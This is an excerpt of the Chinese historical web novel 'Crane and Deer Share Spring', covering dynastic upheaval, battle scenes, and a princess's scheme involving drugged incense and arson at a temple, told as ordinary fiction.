《鹤鹿同春》全本免费阅读 不过,它到底起了些安慰的作用。 黎夫人镇定了些许,她自我安慰道:“如今幽云十六州还要靠虞庆侯镇守,邓州伯若想朝堂稳固,定然不会动与虞庆侯有关系的氏族。” 此番言论到不是空穴来风,毕竟邓州伯私养军队谋反,加上崔环干的那些破事,名声上已经差极了,不可能不顾世家脸面,再去撩拨他们的底线。 即便传闻早年邓州伯吃过不少世家的亏,一心想要报复。但如今想要登上至尊之位,就必离不开世家支持。 兵、权、人心,缺一不可,他不想妥协也得妥协。 “咦?”章麓蹙眉,将窗户再掀开了一些定睛朝牧王府望去,“有一队黑甲骑兵将冲入牧王府的人杀了!” “什么?”黎耀快步走来,趴在窗户上往外看,惊讶道,“还真是,好像是李鹤霖的队伍。” 时隔五年,再次听到这个名字,令章麓一度晃神。 也不知道当年那个送他幼狼的郎君,如今成长成什么模样,是否跟前世一样沉默寡言、满目忧思。 前世此人一直在西北,章麓幼时未曾见过,只听闻是个战功赫赫的威武将军,心中只有感叹并无其他情绪。 直到父亲言说章李两家有娃娃亲,她才开始关注此人,后来时常从三哥口中听到对他的称赞,直言他是一位不世将才,她便先入为主的觉得此人与她父兄一样不通儿女情长。再加上父亲时常感叹,李鹤霖的母亲因没有强力的母族处处被妾室雍夫人压一头。 她便觉得此人无趣又愚昧,竟连自己的母亲都护不住。后来她因着祁中岳叛变之事,被皇帝召入长安成为质子,她与李鹤霖的接触才多了起来。 可这个人太闷了,除了送东西什么都不会做也不会说,她自由惯了,对于这样的锯嘴葫芦除了烦躁,什么情绪都没有。 如今想来,若是她的目光当初肯在李鹤霖身上停留,而李鹤霖也愿意与她对谈的话,两人或许根本走不到那一步。 默默付出,为谁而死,即便感动,却并不值得。 “听闻他一直在西北。”章麓不动声色地探听道。 “对,五年前在邓州伯面前告了崔环一状,说他玩忽职守,致使北宁关百姓被屠。结果被自己的祖母,以不孝不悌的罪名,压着在崔府门前跪了一天一夜,膝盖差点跪废了。还是邓州伯的正室夫人拿秦川军做要挟,迫使她放了人。” 黎耀倚靠在窗边,神色带着一言难尽:“邓州伯明知自己儿子是被冤枉的,却为了崔家的势不肯出面,李鹤霖因此与他离心,就单给他娘亲留了一封信,然后一人一马千里单骑,回到西北投奔蒋昌伯了。” 章麓神色阴晦:“怪不得邓州伯去范阳向父亲求援时,父亲没有出面,只让黄伯伯去。父亲这人执拗,人品有瑕的人,在他的眼中都不是治世明君,他内心并不想追随。” 提起这件事,黎耀也有些叹息:“传闻邓州伯是个心胸宽广之人,应该不会拿这件事当椽子故意为难姨夫。” 章麓:“传言有真有假,不可不信,也不可全信。父亲送我来长安,却没有出兵帮皇帝,就是在向邓州伯投诚,咱们静观其变吧。”关上窗户,将炼狱隔绝在外。 窗户关上的那一刻,她突然想起双竹去年探听来的一道消息,但她一直没机会验明真假。 “他是不是与吐谷浑凤家有联系?”章麓问。 “谁?” “李鹤霖。” 黎耀想了想,道:“好像是有这么回事。” 章麓:“传闻凤家长子在吐谷浑大王子拓拔朱的包围中救过他一命,也不知是真是假。” “这两人瞧着应该没什么交集。”黎耀略一思忖,肯定地说道,“祁中岳当年为稳固自己在吐谷浑的地位,杀了自己的发妻,迎娶凤家小宗之女,已然声名狼藉。李鹤霖若是想争一争那个位置,定然是要与凤家撇清关系的。” 祁中岳在五年前叛变逃入吐谷浑后,成为了吐谷浑的大宰相,并娶了吐谷浑最大商户凤家二房的嫡女为续弦,自此站稳脚跟。 黎耀:“八成是庆国公府程家或者安国公府崔家放出来的谣言,毕竟邓州伯对妻子很是喜爱,对李鹤霖也爱屋及乌。” “三妻四妾的喜爱?”章麓似笑非笑的白了一眼黎耀。 黎耀挠了挠头,无奈道:“我黎家可是只娶妻不纳妾,你别用这种眼神看我。” 章麓冷哼:“男人没一个好东西。” 黎耀汗颜:“其他人我不知道,但邓州伯毕竟要争那个位置,他的姻亲就是最好的拉拢筹码。如果不给那些人一人之下万人之上的希望,又如何策动他们追随造反呢?” 可惜章麓不买账:“想走捷径就承认,别拿这些当借口。若真是爱一个人,是容不得她受半点委屈的。” 黎耀尴尬应是,将这个致命话题扯开。“如今邓州伯坐上皇位已经是必然,崔家也会跟着水涨船高,你想要查明真相让崔环付出代价恐怕不易。”黎耀道,“不过,当今陛下与崔环也不对付,一心想要扶植正室所出的李鹤霖上位,你倒是可以利用一番,借力打力。” 话音未落,远处的喧嚣愈发激烈起来,数十火把朝着黎府的方向涌来。随着砰的一声巨响,后院正门被破开,惊动了躲藏在山上小楼里的众人。 黎夫人下意识想要护住章麓和黎耀,却反被两人按下挡在身后。 “世子!有叛军撞开了后院的门!冲杀进来了!”仆人连滚带爬地闯进门内,汗水在这幽冷夜里,源源不断地从身上冒出。 月光透过黑云时隐时现,黎耀看着山下与双竹一行人杀起来的叛军,神色凝重。 章麓二话不说,捻弓搭箭,只两息便连射出五支箭矢,且支支穿入叛军的脖颈而过。 “大表哥在这里保护舅母,我去去就回。” “别!你一个女儿家怎么好在这个时候冲出去!”黎夫人死死攥住章麓的手不松开,她脸上带着骇然,嘴唇因为害怕泛着苍白,看着章麓的目光却坚定不移:“若是让人知道你冲杀在叛军之中,你的名声就全完了!” 章麓神情自若地反握住黎夫人的手,舒展 6. 第 6 章 《鹤鹿同春》全本免费阅读 章麓从地面上捡起一把刀,两柄直刀在手间舞得虎虎生风,有如白蛇吐信,嘶嘶破风。 烈康珈挥刀向她头顶劈来,章麓右手抬刀一挡,再使巧力一推,直接将对方振得退了好几步。 刀刃银光泛泛,她不给对手一丝反手的机会,将左手中短横刀的方向一转,直向拓拔成渝的小腹砍去。 拓拔成渝见状直接挑开她的长刀,仓惶的躲开长刀咆哮而至的锋刃,还未来得及有下一步动作,就见章麓顺着他挑刀的动作轻盈转身,将另一柄短刀劈向转向他的脖颈。 弯刀回收已然来不及,拓拔成渝下意识用手臂格挡,如银蛇般的刀锋立时破开他的护腕,小臂上再添一伤。 这伤深可见骨,若是没有手臂上的精钢护腕阻挡,怕是直接就被砍断了。 “太锋利了,这就是中原百炼钢的威力吗?”他喃喃道,勇猛的外壳裂开一条缝隙,从中可微微窥见‘害怕’二字。 “我最恨的就是你们这群吐谷浑人!”敌人的鲜血令她心如战鼓雷雷,“把命给我留下!” 拓拔成渝被章麓陡然爆发出的凶恶气势吓了一跳。眼前双刀齐齐砍来,他不断转动手腕,用弯刀架开这一次比一次狠厉的刀,并不断向后退去。 持刀的手被振得发麻,隐隐见有血丝渗出。拓拔成渝瞠目,没想到一个身形如此瘦弱的女子,竟然能令手中双刀迸射出如此夺目的凶光。 在他招式变得混乱无章之时,被踹倒在地上的烈康珈一跃而起作势要劈。 然而,章麓犹如脑后长眼,右手长刀立于肩胛,只听得‘当啷’一声,对方的弯刀当即断成两节。 在这一瞬间,章麓飞出一脚,直接将面前的拓拔成渝踹飞出了二门去。 而另一头早先被砸晕的吐谷浑人已经缓了过来,见双竹背对着他,视线紧紧盯着战局,那吐谷浑人起手就将手边碎瓶往他头顶砸去。却不成想这又是一个背后长眼的,辟手打在他的手腕上,瞬间振麻了整个小臂。 双竹夺了他的碎瓶,一把揪住他的后领,欲要将他捆起来。 那人见势不对,便奔他.下.三.路,要以脚力将他拌跌在地。 可是双竹自小练得便是金刚功夫,底盘稳如千斤坠,待那吐谷浑人刚拌上左脚,还未暗喜就被一个勾拢身掀翻在地。 满地的碎瓷片尽数扎入肉里,直把他痛的嗷嗷直叫,好一番挣扎。 拓拔成渝见打不过,心中恐慌,在章麓的步步紧不下后退数步。 “我们的主子是你们的新皇!若是让他知道你们打伤了我们,一定会治你的罪!而且你是个女子,若是入狱了就没了名节,肯定嫁不出去!” 名节? 章麓不由得扫了他一眼。 这一眼令拓拔成渝如芒在背。 他觉得这视线锐利如女子手上双刀,好似下一秒就要将他劈开来去,不由冷汗连连。 见他这幅畏缩模样,章麓无趣的转了转手中的刀:“你懂得倒挺多。” 听到这话,拓拔成渝以为捏住了对方的软肋,瞬间挺直了腰板,放声道:“所以,你最好给我们赔偿,将你们府上的金银财宝和女人都送给我们!” 寒凉的夜风吹起章麓额前的碎发,手中的双刀滴着浓稠的鲜血。 她微抬下颌,将手里的横刀转了几个圈,轻蔑道:“人心不足蛇吞象,还是做梦比较快!”语毕,猛地砍向他。 范阳章氏的粹刀坊所炼制的百炼钢天下闻名,只这全力一刀,便将面前之人的胸骨生生劈开。 “你——”拓拔成渝不敢置信地指着章麓,惊恐地连连后退,话没说完,就被一支箭矢从背后穿胸而过,倒在了地上。 章麓顺着他倒下的位置向前望去,只见二门外,被破坏的大门旁,一个身着白边黑甲,头戴细鳞盔,手拿角弓的男人正目光沉沉地看着她。 那熟悉的眉眼,令章麓不由一愣。 是李鹤霖。 二十二岁的他,与十七岁时相比,模样上倒是别无二致,但是气质有了翻天覆地变化,像极了前世威名赫赫的西北苍鹰。 他坐于汗血宝马之上,身体挺拔如松,气势刚健如虹,剑眉下一双桃花眼泛着璀璨星辰,头顶红樱迎风飞扬,手中的角弓于晨曦之下,闪耀着清寒的冷光。 “杀无赦。” “是!” 一众骑着高头大马的兵将跳下马背,手持长刀鱼贯而入,晴放和双竹满身戒备地盯着他们,却发现对方的目标不是自己,而是被晴野率人挡在二门外的叛军。 “李鹤霖!你不能杀我!我是——” “违抗军令者死。”李鹤霖的语气平淡无波,他抽出佩刀,手起刀落间,出声的人便身首分家。 血雾在这一刻扬飞天际,衬得李鹤霖更像鬼魅三分。 这时,他身后的一个儒雅的中年男人厉声喝道:“三郎君!你杀这位可是崔家人!算起来也是你的表弟!” “表弟?都不知道拐了几个弯,也算得上是亲戚?”李鹤霖瞥了他一眼,表情凶狠而漠然, “这位……吏部尚书大人,就算是亲戚,军令如山,违者必死,无人例外。” 吏部尚书被李鹤霖的眼神吓得退了好几步,心中不愤却又不敢再说什么,只能阴着脸低着头,表达无声抗议。 可李鹤霖根部不在意这群酸儒的想法,他转过脸,正巧与章麓来了个四目相对。刀刻斧劈的面庞,薄唇紧抿,一双剑眉如墨一般,桃花眼带着几分凌厉的审视,不停的在章麓身上游移。 气氛在此刻凝固住了,双竹即刻命令所有侍卫严阵以待,他跑到章麓身前,想要保护主子,却被章麓拨开。 “你是何人?明知军队入城,改朝换代不过是喘口气的功夫,也敢站出来斩杀他们?不怕得罪了不该得罪的人?”对方眉目凌厉,语气如风霜带雪。 若是换个大门不出二门不迈的小娘子,怕是已经被吓得说不出话来了,可惜地方遇到的是章麓,什么样的兵将没见过。 更何况…… 他不记得我了,她想。 前世被眼前之人带来的温度,在这一刻被大雪就地掩埋,她垂下眼睑,遮蔽住眸中思绪。 “虞庆侯章涛嫡次女章麓,不知将军认为什么人算是不该得罪的人?” 李鹤霖还未回答,周围已炸起一阵喧嚣。 “她是虞庆侯的女儿?” “一个女儿家舞刀弄棒的像什么样子?” “北境蛮荒,自是养不出懂规矩的闺阁娇女。” “不过他爹可是虞庆侯,手握北境幽云十六州,手中可是有六十万精兵,若是他想反朝廷……” 大门外几个形容狼狈的人面面相觑、议论纷纷,言语间除了不可思议,还带着若有似无的贪婪。 李鹤霖闻言,眼中寒光一闪,这些人的口无遮拦,让他有一种被领地侵犯的感觉,就像腰间被敌军的刀尖挑开的那道缝隙,寒风夹杂着雨雪灌进来,一股阴凉之感在周身悄悄蔓延。 他烦躁地轻啧一声,眉目凌厉地扫过众人,那锋利如刀的眸光,令叽叽喳喳的一群人瞬间鸦雀无声。 制止住他们的议论后,李鹤霖转而看向章麓,挑起眉峰,继续问道:“那你为何在黎家宅院?” “我母亲是永安伯的长姐,我为何不能在此?”章麓反问。 只不过是领养进来的,姓容不姓黎罢了。 李鹤霖笑了笑,似乎认可了这个答案,没有再问,而是说道:“巾帼不让须眉,姑娘勇气可嘉,当为勋贵子弟之表率。” 说罢,也不管身后几个官员难看的脸色,领着身后长长的队伍,向北直奔而去。 表率吗? < 7. 第 7 章 《鹤鹿同春》全本免费阅读 封城三日后,被困在皇宫的大臣和勋贵们终于被放回家。 连下了三日大雪的长安,难得迎来一个艳阳高照的晴天。卯正时分,太阳高悬,黎府正门处传来一阵拍门声。 全府上下皆跑了出来,待正门打开,才看见灰头土脸的永昌伯黎用神色木然地走了进来,而他的身后,还跟着一个内监打扮的人,再后面就是长长的望不到尽头的宫人和他们抬着的一抬抬红木箱子。 “虞庆侯府次女章麓接旨!” 尖细的嗓音响彻在前院,府内之人呼啦啦跪了一片,章麓走到最前方,恭敬地跪在地上。 “泰安帝制曰:虞庆侯府嫡次女章麓,聪勇嘉慧,别具一格,其父虞庆侯功绩斐然,念其封无可封,功绩可荫庇子孙,特封章麓为新安县主,享新安县食邑八百户,钦此。” “臣女章麓,谢主隆恩。” 内监笑眯眯地将圣旨交给她,说道:“县主娘娘可要好好珍藏,此圣旨乃是陛下亲手所书,而非内阁印制,可见陛下对娘娘的重视。” 章麓接过晴放递来的荷包,交给内监,恭敬道:“自然,多谢陛下隆恩。” “奴还要给其他家传递圣恩,就不久留了。” “恭送大人。” 待内监离开后,黎夫人看着一箱箱被抬进来的赏赐有些傻眼,她拉住夫君的手,忐忑地问道:“老爷,这是怎么回事?为何突然封麓姐儿为县主?还有,外面如何了?这邓州伯当真是登基了吗?” 黎用木然地抬了抬眼,看着满地刺目的红,面色颇为颓然:“陛下上吊死了,其他皇子被幽禁福徵寺,不少朝臣都倒向了邓州伯,三请三推的戏码演了个实在,如今年号拟定安民,国号改为晋,改朝换代已成定局。” “那……那泰安帝突然赏赐麓姐儿是什么意思?就算因着华州潼关一战,也该赏黄将军不是?” 黎用在小厮的搀扶下勉强站起身,心力交瘁地问道:“长安破城那晚,府上是不是有人闯进来了?” 这一问问得黎夫人六神无主:“是……” 黎用深深叹了口气:“如今满朝都是麓姐儿英勇斩杀贼寇的事儿。崔环那厮非要抓着这点不放,说虞庆侯明从暗反。太后一脉的人想殿中死谏,被三皇子驳了回去。” 他的目光落到捧着圣旨的章麓身上,想到太后一脉对她的贬低与鄙夷,三皇子对她的维护,心里沉甸甸的。 当年他父亲将容和嫁给章涛时,本意是想让自己的女儿远离朝堂纷争,自在度日。谁承想,章涛的兄长阵亡,他成为了新的虞庆侯,容和不得不再次与那些命妇斡旋,逼着自己去做不愿意做的事,面对不愿意面对的人。 本以为上有兄长姐姐,麓姐儿能活得自在潇洒些,却不曾料到,祁中岳变节,北宁关被屠…… 老天爷为什么总是对好人那么的不公平呢? 虞庆侯府有霄云女帝御赐的丹书铁券,改朝换代之后便等同于作废,这块被罩住的肥肉散发出了浓重的香味,诱使着豺狼们占为己有。 好在章麓与三皇子有婚约在身,即便新帝不想认,想换人,也必不能拿让虞庆侯府吃亏,也算给了他们一些应对的时间。 只是…… “老爷?”黎夫人见相公看着章麓发愣,心中有种不好的预感。 黎用扶住老妻的胳膊,压抑着心中的万千感慨,道:“陛下感念虞庆侯当年的帮扶,想要将她许给三皇子做正妃,毕竟先前便有婚约,此番也是名正言顺。只是毕竟前面刚有祁中岳叛变之事,麓姐儿若想名正言顺的入府,还得抬一抬位置,便有了这封圣旨。圣旨是当着众臣的面亲手所书,此番赏赐,是告诉全京城的人,莫再肖想麓姐儿的婚事。” 一言惊起千重浪,黎夫人差点晕倒过去,她哭着拍自己大腿:“作孽啊!作孽!这哪里是感激!这分明是要把我麓姐儿往火坑里推!” 黎夫人被黎用撑着才没跌坐在地,高声抱怨道:“做了皇子妃必定会被卷进夺嫡之争!太后一脉势大,怎么会允许未来太子妃从崔家之外的人里出!更何况新皇儿子虽多,但待议亲的就那三个,多少世家眼巴巴的盯着呢。他如此大张旗鼓,岂不是将麓姐儿架在火上烤!全京城有适龄女儿的人家都会将她视作眼中钉!到时候麓姐儿任何一句话,一个动作,都会被拿来说嘴,但凡出一个错,就会被攻讦。妹夫如今统领幽云十六州六十万大军,多少人眼馋想要分一杯羹,又怎么会让麓姐儿一步登天!这偌大的长安城本就有不少让人生不如死的阴司手段,叫人防不胜防,麓姐儿速来单纯,没经历过这些肮脏手段,进了皇子的后院还能有好日子过?这不是把人往死里逼!” 多事之时,本就如履薄冰,若是再被拉出来当做挡箭牌,只会雪上加霜。 别人都觉得做皇子妃无上风光,却忘了去年乞巧节时,只因一个恶意的无稽之谈,说右相王相权的夫人属意工部尚书柳宗环之女做儿媳妇,就使柳姑娘被恶人生生毁了清白。 如今新皇膝下成年的三位皇子皆未婚配,京城多少人盯着,急切想要博取新皇信任的世家,定会为了前程不择手段。 这么一个靶子在这儿,所有利剑皆会指向她! 在黎夫人看来,新帝简直其心可诛! 黎用知道夫人的苦心,但事情远没有坏到这个地步。但夫人速来重视女子名声,又被柳姑娘的事吓怕了,此时再说什么都无济于事,倒不如待她冷静下来,再与她细细谈之。 他抹了一把脸,告诫道:“如今新朝初立,追查前朝党羽的动作不会停。新帝年过半百,再纳新人也难有子嗣,无论是谋求自保还是攀龙附凤,旧族新贵都会盯死了几个皇子的后院,尤其是正妃之位。我们不深入官场,却姻亲纵横,说来也是别人眼中最有力的竞争对手。” 他叹了口气,空洞的眼神透着一股麻木:“你们日后在外行走,定要步步谨慎,句句小心。什么邓州伯的别再叫了,日后都称陛下。” 他看着沉思的儿子和面色平静的侄女,低声道:“一个月后便是上元节,陛下要在上元节当日举办登基大典,晚上会有宫宴,所有三品以上及勋爵都要携家眷参加。这几日……你们先与亲近的几家走动走动,探探口风。十道节度使都已经在赶往京城的路上,虞庆侯应当再过三日便会到。侯爷入京之前,麓姐儿就先别出门了。” “好。”章麓乖巧地点头。 然而,章麓只是口头上答应的好。待夜幕低垂,月明星稀,她换上一身夜行衣,身手利落地从后窗翻出,两步踏上屋后的高墙,一翻身就从墙上稳稳当当地落地。 “去哪儿啊?”一道声音如鬼魅般自身后响起。章麓身形一僵,神情极为不自然,甚至不敢回过头去。 黎用从树影处缓步走出,来到章麓身侧,无奈道:“转过来,面对我。” 章麓彻底泄了气,她转过身,眼睛躲闪哪里都瞟两眼,却唯独不敢看自己的舅舅。 “我白天怎么嘱咐你的?全忘了?”墙上挂着的灯笼,散发着暗黄的光,透过交错的树枝,在两人之间映出一条一条杂乱的阴阳线。 “舅舅,我必须要去。”章麓的声音低暗,带着无法排解的恨,“五年的前尘往事尽数掩埋,大病初愈后,所有的无忧无虑,所有的离愁别恨,都被万马坑上的风吹地一干二净。如今我活着的唯一目的就是复仇,我要所有当年参与谋划的人,都付出应有的代价。” 黎用看着她,灯光只照亮了她半幅面庞,当年讨得长辈欢心的稚气,已经被回纥人的铁蹄碾碎,如今除了沉静,再也瞧不出其他。 他叹道:“上个月耀哥儿查许思政的时候,我就预感。若是在改弦更张之前,这福徵寺守卫懈怠,你还可冒险一探。但如今那里不止关押着前朝罪臣,还关押着前朝皇室,守卫森严,你进不去。” “有李鹤霖,便进得去。” 黎用诧异:“你要去找他?他这人可吃不得亏,就算允了你,也少不得要你狠狠放一把血。” 在他的眼里,李鹤霖是个诡诈的奸才,可追随却不可信。 “无妨,如今的我除了命和金银,什么都没有。而这两者,我皆可以舍去。” “荒唐!”黎用指着她怒斥道,“难道你不认你爹娘了吗?若是你舍了命,你让你娘怎么有勇 8. 第 8 章 《鹤鹿同春》全本免费阅读 两人来到位于寺庙最北面的一处佛堂,李锦年刚推开门,躲藏在香案下的人影就陡然发出一声凄厉尖叫,飞快的从香案下爬出,试图冲出佛堂。 章麓眼疾手快地抓住他的胳膊,还没来得及说话,就被对方一口咬在了小臂上,她忍着疼痛钳制住对方的下颌,低吼道:“崔环要杀徐明勋,难道你也要像许知舟那样做个缩头乌龟吗!” 许思政松开嘴,像只受惊的老鼠一样,不停地摇头晃脑,警惕地观察着周围:“徐明勋不能死,崔环投敌叛国,徐明勋有证据,他不能死,他不能死!” “可他死了。”章麓语气森森,左手上明灭的油灯落在脸上,渲染出一股冷飒的肃杀之气。 “他死了?”许思政怔怔的望着章麓,“他死了……就没证据了……没人会信我……朝堂上都是邓州伯的人,他为了崔家的钱会牺牲我的!我不要被关起来!我不要被关起来!我没有错,错的不是我!是天下!是皇上!” 他用尽全力疯狂地挣扎,不停地撕扯着章麓的手臂。眼瞧着挣脱不过便要撞墙,嘴里不停地说着‘我没有说谎’、‘崔环才是罪人’。 眼瞧着许思政的力气越来越大,章麓的手臂传来一阵僵痛,无奈松开手,任由对方冲出了佛堂,冲进了漆黑一片的夜色当中。 一旁的李锦年忍不住闭目叹息:“我早说过,他疯了,你什么都问不出来。当年北宁关之事,最后被推到了你父亲头上,说他任人唯亲,勾结吐谷浑,一切都是他编排的一出戏,用五原郡六十万百姓的性命编造的一个谎言。而为民请命的许思政呢?晏九泉抛弃了他,邓州伯抛弃了他,他被冠上一个妖言惑众的罪名关在了这里,他的妻子和孩子被晏九泉身边的佞臣折磨,每日都会丢一个部位给他看,让他吃。那样的苦痛,再铁血的汉子都会疯,更何况他一个没吃过苦的世家子。不过疯了也好,疯了就会忘了一切,留在幻梦里浑噩度日,也比清醒着面对炼狱要强。” “他的一双儿女,一个都没活吗?”章麓的声音喑哑,她感觉到心脏的钝痛,脑子也发胀发昏,李锦年的每一字每一句,都让他不自觉的回想起苦马坑的哀嚎,一切仿若再次重合。 “有。” 章麓骤然睁开双眼:“谁?” “他的女儿许清月被那群走狗送给了张裕和,张裕和也算是邓州伯的亲信吧,曾经老靖国公最不看重的庶子,连府里的丫头小厮都能踩上一脚,却在隐忍数十年后一战腾飞,在陈州亲手砍下了靖国公世子的头颅,还将他送到了老靖国公的桌案上,直接把他爹给生生气死了。如今,应当被新皇重用,继承了靖国公的爵位吧?” “可怜那女孩儿才十岁,就被送去给了一个老男人。不过啊……”他话锋一转,“我那徒儿在被关进来前曾在邓州见过那个女孩儿,现在就在你三叔的府邸上。” “三叔吗……”章麓的手指蜷了蜷,伸出手接住一片飘落的雪花。 雪落无声,晴了一日的天再次阴沉下来。院中的乌鸦嘎嘎作响,佛堂破烂的布帘被寒风卷起,吹落满室悲怆。 章麓若有所思的从福徵寺离开,她本意是想找到当年之事的知情人,最好是能找到崔环和祁中岳合力杀害北宁关守备将军徐明勋的证据。 但是许思政疯了,疯得彻底,什么都问不出来。 蹙眉沉思的章麓转过巷道拐角,还没步入大街,就见一红木方桌拦在路上,而桌后坐着一个人,身穿黑鳞细甲,眉眼修长舒朗,指节在桌面缓缓敲击着,于风雪中看向章麓时,带着不太真诚的笑意。 “父皇赐下令牌是对黎用的恩典,未曾上报就转赠他人,未免太不将父皇放在眼里了。”李鹤霖的声音轻缓,却总觉得棉里藏针。 跟前世的那人一点都不像。 章麓不动声色的回道:“舅舅体弱,尤其冬日最容易犯腿疼的毛病,臣女替他来看看恩师,顺便送些御寒的衣物。” “只是看他恩师?” 章麓冷静点头:“是。” 李鹤霖嗤笑一声,脸上写满了不信,他放下茶盏,拿起手中马鞭在手心里敲了敲,道:“如今局势动荡,凡进出福徵寺的人皆需要详细盘查审问。不过章姑娘乃是未嫁之人,若是进了掖庭司怕是会影响闺誉,便在这里问吧。” 他扬了扬马鞭,萧雷和卢康笑眯眯的伸出手,将一路跟随的羽林军拉出了巷道,嘴里说着女儿家的事总不好让太多人知道,实际上就是要隔绝一切朝臣的耳目。 待人都走远,李鹤霖站起身,来到章麓面前。 在两人只有三步距离的时候,章麓突然往后退了退,警惕地看着他。那目光要五年前简直一模一样,就像一只炸了毛的猫,随时都要给你来上一爪子。 李鹤霖停住脚步,有些苦恼的啧了两声,问道:“你不会不记得我了吧?” 章麓闻言,眉峰一挑,反咬道:“是你先不认得我的。” “那都是做给别人看的,现在盯着我的人太多了,行差踏错一步就是要命的把柄。”李鹤霖叹道,“章家太惹眼,我不想给你找麻烦。” “麻烦已经有了。”章麓淡声道。 李鹤霖摸了摸鼻子,不大好意思的解释道:“这是我爹自作主张,你放心,若是你不愿,我绝对不会让任何人强迫你。以前……算了不重要。我来见你是有话要说,但我呆不了太久,咱们长话短说。” 他话锋一转,两步上前凑到章麓身边,低声道:“我知道你在查崔环,他当年干的事不是没有证据,只是太难找。咱们的目标是一样的,你我合作如何?” “崔环得罪你了?”章麓试探道,她不认为眼前的人跟她一样拥有着重生的机缘,他口中的记得与不记得,或许只是在茫茫雪原上因一匹幼狼而产生的微末交集。 “他放任北宁关被屠,至五原郡失守,我告了他一状,但没用,反而将自己流放去了西北。我在西北的时候见过安西四镇的守军,他们明明是汉人,却被番子骑在头上拉屎撒尿,就是因为朝廷不肯拨款,他们只能勒紧裤腰带生活,甚至要向番兵讨饭吃才能勉强活下来。”李鹤霖握马鞭的木柄,上面包裹的皮面发出难以忍受的咯吱声,“后来我才知道,朝廷不是没有拨,而是都进了崔家的口袋。他们剥盘了往来的粮草,将这些东西通过北宁关运出关外,顺着河西走廊一路向西进了吐谷浑的口袋,从而换得大笔金银。” “西北都是黄沙,粮食难种,没有屯田,这些边军靠的就是朝廷的拨款,结果全进了崔家的肚子!我爹为了崔家的钱,一直压着没吭声,为此死了多少老百姓?他竟也当做看不见,只为他所谓的宏图霸业!霄云女帝建下的繁荣西北,在她子孙后代的手中毁于一旦。” “可你是同样也是既得利益者。”章麓直接戳破这层遮羞布。 “你说的没错,可我不想让崔家以后还这么做!以往是我没兵没权,制衡不了他,但现在不一样了,我有四千墨云骑,是父皇最年长的儿子,还是皇后所生,朝臣半数皆站在我这一边。而父皇也有意要动崔家,正是我拉他下马的好时机!”

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他试图去摩挲系在塌上的绳结,但捆的人实在是太厉害,不单捆得紧,绳结还在手踝下方,掩在了木架之后。他尽力用手指去挑绳结,试图将绳结挑开,但始终差一小节。他又探头去咬,也咬不住。他想下床,但右腿也被绑在了矮塌上。 废了半天劲,汗湿了身上的衣服,也没能成功。 这时,他已经发现了身上的不对,这屋里的香有问题! 正当他想要再试时,门忽然被打开。他隔着屏风看不清楚来人时谁,但听脚步声就知道是个男子。他有些着急,想要求救,但因着熏香的影响,发出的声音不单沙哑还微弱。他不知道自己在这里呆了多久,他的头脑已经开始变得昏沉,眼前的一切都变得花里胡哨。他只分得清不同的色块,却辨不清是何器物。 他只听得一个年轻男子的声音,似是在抱怨的说到:“啧,这房里居然连个灯都没有,黑灯瞎火的什么都看不清。” 脚步声逐渐靠近,似乎绕过了屏风,朝他走来。 “下这么重的香,母亲这是不相信我的能力吗?”他的声音带着些抱怨,但更多的事兴奋,他感觉到自己已经受到影响了,说话的声音都带着激动的颤抖,说:“美人儿,既然母亲如此安排,咱们也不能辜负人家的一番好意,我会好好带你领略一番人间仙境。” 这声音……崔青卓不禁惊恐的瞪大了双眼,他欲要挣扎,却被一把按了下去。 …… “公子,成了。” 禅房不远处的隐晦角落里,一位面貌几位普通的小厮轻生向主子回禀。 在他的斜前方,一位身着月白色翻浪纹蜀锦外衫的年轻男子,轻轻摇着腰间的金穗玉牌,嘴角忍不住向上勾了勾。 “回去告诉靖国公,崔环一家子都完蛋了,但书斋的秘密已经被发现,他如果不想死,就早做准备。” “是。” 77. 第 77 章 向来爱拜佛的清河大长公主,头一次觉得听人讲经的时间这么难挨。直到快巳时正才终于解脱出来,嘴上念着‘阿弥陀佛’,心中不断感叹这经卷真是又臭又长。 僧人安排众人在客院休憩,若想隽写经卷供奉,可以去客院不远的禅房,这正合了她的意。 靖国公已经将平日里章麓抄经时呆的禅房号牌告诉了她,虽不知他时如何探听到这些的。但男人总是好面子的,对方好不容易办一见合她心意的事,还是大发慈悲别追问,赏他次树立高大形象的机会。 清河大长公主早就安排好丫头婆子拌作寻常母女,偷偷去那间房里燃香。这香本身并没有什么害处,甚至对身体有益,只是唯独不能与香樟相融。融合之后会有至幻效果,人若是长期吸服便会放大内心的恐惧,日日处于幻觉之中。 靖国公之前已经焚烧过几次,保证章麓现在精神敏感,只要儿子能做那好心好性的人,细心呵护一番,定然能令章麓倾心,届时,一切便是水到渠成。 且这种东西无色无味,来源又广,无论谁去查都查不到她的头上。 清河大长公主被侍女扶着,慢悠悠的往禅房去。 禅房所在的珈蓝院此时没有丝毫人影,整个院子都静悄悄的。 清河大长公主有些诧异,今日来的公子小姐不是都没去听经吗?难不成一个多时辰,竟没一个人发现?那这戏她唱给谁看? 见主子在院门口停住脚步,嬷嬷有些奇怪,问道:“公主?” 清河长公主寻思了一下,小声说道:“带着火折子吗?” 因着佛寺的建筑与别处不同,客院和禅房的窗户透光性都不太好,所以嬷嬷随身揣着火折子,万一公主要在客院小憩,还可点一盏油灯照个亮,不至于太过幽暗。 “带着呢,公主有何吩咐?” 清河长公主看了看周围的草木,都修剪的很好,地上半点枯草枯枝也无,便说:“去后山找点枯枝枯草,去把那间禅房的窗户点了。” 嬷嬷脸色微变,不赞同的劝到:“公主,这可是佛寺,点了可是在造业啊。” 清河大长公主锐利的眼眸扫向嬷嬷,语气冰冷的说:“本宫让你做什么,你便做什么。快去!” 嬷嬷被她阴戾的神情吓了一跳,只能呐呐应声,飞快朝的去找引燃物。 不一会儿,嬷嬷便回来了,手里还抓着一把枯草。她在清河长公主的视线下将枯草扎成一捆,用火折子引燃,然后朝着公主所指的那间禅房而去。手脚麻利的将每一扇窗户的绢纱都点燃。 一瞬间,火蛇顺着窗户的绢纱一路吞噬到了窗框,开始向室内蔓延。 清河长公主清了清嗓子,立刻喊到:“走水了!走水了!”嬷嬷也配合着喊。 有僧人发现,立刻叫人提着水桶来救火。 在还香溪边玩耍的公子小姐们也被这边的动静惊动了,跑过来一同救火。 火势不大,一会儿就被扑灭了,僧人拆掉被烧毁的门窗,准备进去查看被烧到什么程度,却透过被烧掉大半的绢丝屏风看到了矮塌上的情形。立刻闭上眼直念:阿弥陀佛。 因着僧人先进去的,清河长公主站在门外被挡住了视线,并不知道里面什么情形。但她对自己的安排颇有信心,便拉着嬷嬷推开僧人直往里走。 边走还边说:“哎呦,这禅房布置得挺精美,听说是虞庆……”抑制不住的欢喜声音戛然而止。 